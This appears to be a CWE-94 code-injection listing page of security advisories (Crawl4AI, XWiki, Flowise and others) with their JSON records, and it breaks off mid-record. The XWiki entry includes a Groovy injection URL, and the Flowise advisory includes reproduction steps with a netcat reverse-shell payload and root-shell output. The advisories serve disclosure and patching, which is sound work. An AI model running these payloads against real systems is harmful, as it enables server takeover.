CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9394 vulnerabilities reference this CWE, most recent first.
GHSA-G2PV-76HM-J4X9
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 00:34Crawl4AI before 0.8.7 contains an arbitrary JavaScript execution vulnerability in the Docker API server's /execute_js endpoint, which accepts and executes arbitrary user-supplied JavaScript in the server's browser context with --disable-web-security enabled. An attacker can execute arbitrary JavaScript and, combined with the browser's relaxed security settings, perform server-side request forgery against internal services.
{
"affected": [],
"aliases": [
"CVE-2026-56264"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:29Z",
"severity": "CRITICAL"
},
"details": "Crawl4AI before 0.8.7 contains an arbitrary JavaScript execution vulnerability in the Docker API server\u0027s /execute_js endpoint, which accepts and executes arbitrary user-supplied JavaScript in the server\u0027s browser context with --disable-web-security enabled. An attacker can execute arbitrary JavaScript and, combined with the browser\u0027s relaxed security settings, perform server-side request forgery against internal services.",
"id": "GHSA-g2pv-76hm-j4x9",
"modified": "2026-07-01T00:34:13Z",
"published": "2026-07-01T00:34:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-365w-hqf6-vxfg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56264"
},
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/crawl4ai-arbitrary-javascript-execution-via-execute-js-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G2PV-FX5P-45J2
Vulnerability from github – Published: 2026-10-07 03:30 – Updated: 2026-10-07 03:30IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation.
{
"affected": [],
"aliases": [
"CVE-2026-88962"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-07T01:16:34Z",
"severity": "HIGH"
},
"details": "IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper control of code generation.",
"id": "GHSA-g2pv-fx5p-45j2",
"modified": "2026-10-07T03:30:22Z",
"published": "2026-10-07T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88962"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7290694"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G2QQ-C5J9-5W5W
Vulnerability from github – Published: 2023-11-07 23:02 – Updated: 2023-11-15 18:32Impact
In XWiki Platform, it's possible for a user to execute any content with the right of an existing document's content author, provided the user have edit right on it. The reason for this is that the edit action sets the content without modifying the content author.
To reproduce:
* Log in as a user without programming or script right.
* Open the URL <xwiki-host>/xwiki/bin/edit/<document>/?content=%7B%7Bgroovy%7D%7Dprintln%28%22Hello+from+Groovy%21%22%29%7B%7B%2Fgroovy%7D%7D&xpage=view, where <xwiki-host> is the URL of your XWiki installation and <document> is the path to a document whose content author has programming right (or script right) and on which the current user has edit right.
The text "Hello from Groovy!" is displayed in the page content, showing that the Groovy macro has been executed, which should not be the case for a user without programming right.
Patches
This has been patched in XWiki 14.10.6 and 15.2RC1.
Workarounds
There are no known workarounds for it.
References
- https://jira.xwiki.org/browse/XWIKI-20385
- https://github.com/xwiki/xwiki-platform/commit/a0e6ca083b36be6f183b9af33ae735c1e02010f4
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "15.0"
},
{
"fixed": "15.2-rc-1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "1.0"
},
{
"fixed": "14.10.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46243"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-07T23:02:57Z",
"nvd_published_at": "2023-11-07T20:15:08Z",
"severity": "HIGH"
},
"details": "### Impact\n\nIn XWiki Platform, it\u0027s possible for a user to execute any content with the right of an existing document\u0027s content author, provided the user have edit right on it. The reason for this is that the edit action sets the content without modifying the content author.\n\nTo reproduce:\n* Log in as a user without programming or script right.\n* Open the URL `\u003cxwiki-host\u003e/xwiki/bin/edit/\u003cdocument\u003e/?content=%7B%7Bgroovy%7D%7Dprintln%28%22Hello+from+Groovy%21%22%29%7B%7B%2Fgroovy%7D%7D\u0026xpage=view`, where `\u003cxwiki-host\u003e` is the URL of your XWiki installation and `\u003cdocument\u003e` is the path to a document whose content author has programming right (or script right) and on which the current user has edit right.\n\nThe text \"Hello from Groovy!\" is displayed in the page content, showing that the Groovy macro has been executed, which should not be the case for a user without programming right.\n\n### Patches\n\nThis has been patched in XWiki 14.10.6 and 15.2RC1.\n\n### Workarounds\n\nThere are no known workarounds for it.\n\n### References\n\n* https://jira.xwiki.org/browse/XWIKI-20385\n* https://github.com/xwiki/xwiki-platform/commit/a0e6ca083b36be6f183b9af33ae735c1e02010f4\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)",
"id": "GHSA-g2qq-c5j9-5w5w",
"modified": "2023-11-15T18:32:54Z",
"published": "2023-11-07T23:02:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-g2qq-c5j9-5w5w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46243"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/a0e6ca083b36be6f183b9af33ae735c1e02010f4"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20385"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Platform vulnerable to privilege escalation and remote code execution via the edit action"
}
GHSA-G2QQ-QV5M-HCGQ
Vulnerability from github – Published: 2026-05-02 09:31 – Updated: 2026-05-02 09:31The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the Display Logic feature. This is due to the plugin using eval() on user-supplied Display Logic expressions with an insufficient blocklist/allowlist that can be bypassed using array_map with string concatenation, combined with a lack of authorization enforcement on the extended_widget_opts_block attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. The vulnerability was partially patched in version 4.2.0.
{
"affected": [],
"aliases": [
"CVE-2026-2052"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-02T08:16:27Z",
"severity": "HIGH"
},
"details": "The Widget Options \u2013 Advanced Conditional Visibility for Gutenberg Blocks \u0026 Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the Display Logic feature. This is due to the plugin using eval() on user-supplied Display Logic expressions with an insufficient blocklist/allowlist that can be bypassed using array_map with string concatenation, combined with a lack of authorization enforcement on the extended_widget_opts_block attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. The vulnerability was partially patched in version 4.2.0.",
"id": "GHSA-g2qq-qv5m-hcgq",
"modified": "2026-05-02T09:31:15Z",
"published": "2026-05-02T09:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2052"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/widget-options/trunk/includes/extras.php#L495"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/widget-options/trunk/includes/extras.php#L534"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/widget-options/trunk/includes/widgets/gutenberg/gutenberg-toolbar.php#L843"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3481338"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3514411"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68023557-fc92-4cf6-96b4-405ff5a5fd5a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G2RG-5634-4C27
Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31LAMP Rapid Development Platform through 5.6.2, fixed in commit 84b0c27, contains a remote code execution vulnerability in GlueFactory that executes unsandboxed Groovy scripts from database template fields without compilation restrictions or whitelisting. Attackers can write or influence the script field via message template endpoints to execute arbitrary Groovy code and OS commands on the backend server.
{
"affected": [],
"aliases": [
"CVE-2026-69100"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T16:16:28Z",
"severity": "HIGH"
},
"details": "LAMP Rapid Development Platform through 5.6.2, fixed in commit 84b0c27, contains a remote code execution vulnerability in GlueFactory that executes unsandboxed Groovy scripts from database template fields without compilation restrictions or whitelisting. Attackers can write or influence the script field via message template endpoints to execute arbitrary Groovy code and OS commands on the backend server.",
"id": "GHSA-g2rg-5634-4c27",
"modified": "2026-08-04T18:31:27Z",
"published": "2026-08-04T18:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69100"
},
{
"type": "WEB",
"url": "https://github.com/dromara/lamp-cloud/issues/408"
},
{
"type": "WEB",
"url": "https://github.com/dromara/lamp-cloud/commit/84b0c27d3693e468c2c690d9fbc8ea9c22cd34e3"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/lamp-gluefactory-unsandboxed-groovy-script-remote-code-execution"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G2VM-HCJG-CCH9
Vulnerability from github – Published: 2025-10-22 15:31 – Updated: 2026-01-20 15:31Improper Control of Generation of Code ('Code Injection') vulnerability in Bearsthemes Alone alone allows Code Injection.This issue affects Alone: from n/a through <= 7.8.3.
{
"affected": [],
"aliases": [
"CVE-2025-60206"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T15:15:57Z",
"severity": "HIGH"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Bearsthemes Alone alone allows Code Injection.This issue affects Alone: from n/a through \u003c= 7.8.3.",
"id": "GHSA-g2vm-hcjg-cch9",
"modified": "2026-01-20T15:31:30Z",
"published": "2025-10-22T15:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60206"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/alone/vulnerability/wordpress-alone-theme-7-8-3-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Theme/alone/vulnerability/wordpress-alone-theme-7-8-3-remote-code-execution-rce-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Theme/alone/vulnerability/wordpress-alone-theme-7-8-3-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G2W2-352J-XQ39
Vulnerability from github – Published: 2022-05-01 02:02 – Updated: 2025-01-16 21:30Direct code injection vulnerability in CuteNews 1.3.6 and earlier allows remote attackers with administrative privileges to execute arbitrary PHP code via certain inputs that are injected into a template (.tpl) file.
{
"affected": [],
"aliases": [
"CVE-2005-1876"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-06-09T04:00:00Z",
"severity": "MODERATE"
},
"details": "Direct code injection vulnerability in CuteNews 1.3.6 and earlier allows remote attackers with administrative privileges to execute arbitrary PHP code via certain inputs that are injected into a template (.tpl) file.",
"id": "GHSA-g2w2-352j-xq39",
"modified": "2025-01-16T21:30:54Z",
"published": "2022-05-01T02:02:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-1876"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=111773528322711\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15594"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/17030"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-G2WG-RX2F-4J5R
Vulnerability from github – Published: 2026-10-01 18:32 – Updated: 2026-10-07 09:32A flaw was found in Foreman. An authenticated attacker with low-level permissions can achieve remote code execution (RCE) by bypassing the safemode sandbox within the templating engine. Due to improper handling of delegated methods, an attacker can append unauthorized functions to the allowed execution list, enabling them to run arbitrary commands on the hosting server.
{
"affected": [],
"aliases": [
"CVE-2026-96658"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-01T17:17:34Z",
"severity": "CRITICAL"
},
"details": "A flaw was found in Foreman. An authenticated attacker with low-level permissions can achieve remote code execution (RCE) by bypassing the safemode sandbox within the templating engine. Due to improper handling of delegated methods, an attacker can append unauthorized functions to the allowed execution list, enabling them to run arbitrary commands on the hosting server.",
"id": "GHSA-g2wg-rx2f-4j5r",
"modified": "2026-10-07T09:32:11Z",
"published": "2026-10-01T18:32:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96658"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74503"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74504"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74505"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:74506"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-96658"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2534185"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/10/07/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G32J-MMXR-GFQ5
Vulnerability from github – Published: 2026-08-04 14:28 – Updated: 2026-08-04 14:28============================================================================= Security Advisory elttam
Topic: Flowise RCE via TypeORM DataSource
Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.
II. Problem Description
The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:
- packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts
- packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts
- packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts
- packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts
- packages/components/nodes/memory/AgentMemory/AgentMemory.ts
This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.
The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:
- Log into a Flowise instance and note the organisation ID in the response from
POST /api/v1/auth/login, as shown below.
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"activeOrganizationCustomerId": null,
"activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"activeOrganizationProductId": "",
"activeOrganizationSubscriptionId": null,
"activeWorkspace": "Default Workspace",
"activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
"assignedWorkspaces": [
{
"id": "3206d8d3-944f-48c6-9332-11e2752b793e",
"name": "Default Workspace",
"organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"role": "owner"
}
],
"email": "admin@flowise.local",
"features": {},
"id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
"isOrganizationAdmin": true,
"isSSO": false,
"name": "Admin",
"permissions": [
"organization",
"workspace"
],
"roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}
<1> The organisation ID that is required for a later step.
- Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the
vm2sandbox. The following script is a reverse shell payload that connects to172.17.0.1:1337that had a filename ofrce.js.
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
- Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the
POST /api/v1/document-store/loader/process/{loader_id}endpoint and retrieve thestoreId, as demonstrated in the response below.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"characters": 94,
"chunks": [
{
"chunkNo": 1,
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
"metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
"pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
"storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
}
],
"count": 1,
"currentPage": 1,
"description": "",
"docId": "544ff838-bc55-4b28-97a1-c7442710b014",
"file": {
"files": [
{
"id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
"mimePrefix": "application/x-javascript",
"name": "rce.js",
"size": 94,
"status": "NEW",
"uploaded": "2026-04-15T10:59:34.039Z"
}
],
"id": "544ff838-bc55-4b28-97a1-c7442710b014",
"loaderConfig": {
"file": "FILE-STORAGE::[\"rce.js\"]",
"legacyBuild": "",
"metadata": "",
"omitMetadataKeys": "",
"pointerName": "",
"textSplitter": "",
"usage": "perPage"
},
"loaderId": "fileLoader",
"loaderName": "RCE File",
"status": "SYNC",
"totalChars": 94,
"totalChunks": 1
},
"storeName": "RCE POC Store",
"workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}
<1> The store ID that is required for a later step.
- Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.
- Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the
additionalConfig.entitiessetting. The${HOME}is the home directory of the user running the Flowise server (e.g.,/rooton the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.
- Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
III. Impact
This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.
IV. Solution
Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:
extra: Could be abused to provide dangerous driver options.entities: Could be abused to load arbitrary JavaScript files.subscribers: Could be abused to load arbitrary JavaScript files.migrations: Could be abused to load arbitrary JavaScript files.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69251"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T14:28:04Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "=============================================================================\n Security Advisory\n elttam\n\nTopic: Flowise RCE via TypeORM DataSource\n\nModule: FlowiseAI/Flowise\nDisclosed: 15-Apr-2026\nCredits: Alex Brown\nAffects: `FlowiseAI/Flowise 3.1.2`\n\n# I. Background\n\nFlowise AI is an open-source, low-code platform for building AI applications\u2014such as chatbots, workflows, and autonomous agents\u2014through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to remote databases within a flow, which is performed using the [TypeORM `DataSource`](https://typeorm.io/docs/data-source/data-source).\n\n# II. Problem Description\n\nThe following nodes allowed users to set arbitrary options for the TypeORM `DataSource` class using the `additionalConfig` node input:\n\n* [packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts#L122)\n* [packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts)\n* [packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n* [packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts)\n* [packages/components/nodes/memory/AgentMemory/AgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/AgentMemory.ts)\n\nThis is considered a dangerous coding practice, because the [options for the TypeORM `DataSource` class support loading local files as JavaScript code](https://typeorm.io/docs/data-source/data-source).\n\nThe following documents the steps to reproduce this RCE vulnerability by abusing the `additionalConfig` input on a MySQL Record Manager (`packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts`) node:\n\n1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: token=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nSet-Cookie: refreshToken=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nSet-Cookie: connect.sid=\u003cREDACTED\u003e; Path=/; HttpOnly; SameSite=Lax\nContent-Type: application/json; charset=utf-8\nContent-Length: 671\nETag: W/\"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE\"\nDate: Wed, 15 Apr 2026 10:58:44 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n \"activeOrganizationCustomerId\": null,\n \"activeOrganizationId\": \"c060f6ef-047b-47b0-8f1a-15ffa11961cc\", \u003c1\u003e\n \"activeOrganizationProductId\": \"\",\n \"activeOrganizationSubscriptionId\": null,\n \"activeWorkspace\": \"Default Workspace\",\n \"activeWorkspaceId\": \"3206d8d3-944f-48c6-9332-11e2752b793e\",\n \"assignedWorkspaces\": [\n {\n \"id\": \"3206d8d3-944f-48c6-9332-11e2752b793e\",\n \"name\": \"Default Workspace\",\n \"organizationId\": \"c060f6ef-047b-47b0-8f1a-15ffa11961cc\", \u003c1\u003e\n \"role\": \"owner\"\n }\n ],\n \"email\": \"admin@flowise.local\",\n \"features\": {},\n \"id\": \"b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab\",\n \"isOrganizationAdmin\": true,\n \"isSSO\": false,\n \"name\": \"Admin\",\n \"permissions\": [\n \"organization\",\n \"workspace\"\n ],\n \"roleId\": \"b1d1a990-b908-1f7f-889b-5603cb093ff1\"\n}\n```\n\u003c1\u003e The organisation ID that is required for a later step.\n\n2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.\n\n```js\nprocess.mainModule.require(\u0027child_process\u0027).execSync(\u0027/usr/bin/nc 172.17.0.1 1337 -e /bin/sh\u0027)\n```\n\n3. Using a proxy tool such as Burp Suite or the browser\u0027s debug network tab, observe the response from the \n`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nContent-Length: 1000\nETag: W/\"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o\"\nDate: Wed, 15 Apr 2026 10:59:34 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n \"characters\": 94,\n \"chunks\": [\n {\n \"chunkNo\": 1,\n \"docId\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n \"id\": \"7f5f4d41-f684-4b16-9b3c-c1623678e7a0\",\n \"metadata\": \"{\\\"source\\\":\\\"blob\\\",\\\"blobType\\\":\\\"\\\"}\",\n \"pageContent\": \"process.mainModule.require(\u0027child_process\u0027).execSync(\u0027/usr/bin/nc 172.17.0.1 1337 -e /bin/sh\u0027)\",\n \"storeId\": \"afb065cc-8b53-4ff3-82d3-a19e012a2ecb\" \u003c1\u003e\n }\n ],\n \"count\": 1,\n \"currentPage\": 1,\n \"description\": \"\",\n \"docId\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n \"file\": {\n \"files\": [\n {\n \"id\": \"5becc8f6-713b-4c6b-8ca8-3275791a730c\",\n \"mimePrefix\": \"application/x-javascript\",\n \"name\": \"rce.js\",\n \"size\": 94,\n \"status\": \"NEW\",\n \"uploaded\": \"2026-04-15T10:59:34.039Z\"\n }\n ],\n \"id\": \"544ff838-bc55-4b28-97a1-c7442710b014\",\n \"loaderConfig\": {\n \"file\": \"FILE-STORAGE::[\\\"rce.js\\\"]\",\n \"legacyBuild\": \"\",\n \"metadata\": \"\",\n \"omitMetadataKeys\": \"\",\n \"pointerName\": \"\",\n \"textSplitter\": \"\",\n \"usage\": \"perPage\"\n },\n \"loaderId\": \"fileLoader\",\n \"loaderName\": \"RCE File\",\n \"status\": \"SYNC\",\n \"totalChars\": 94,\n \"totalChunks\": 1\n },\n \"storeName\": \"RCE POC Store\",\n \"workspaceId\": 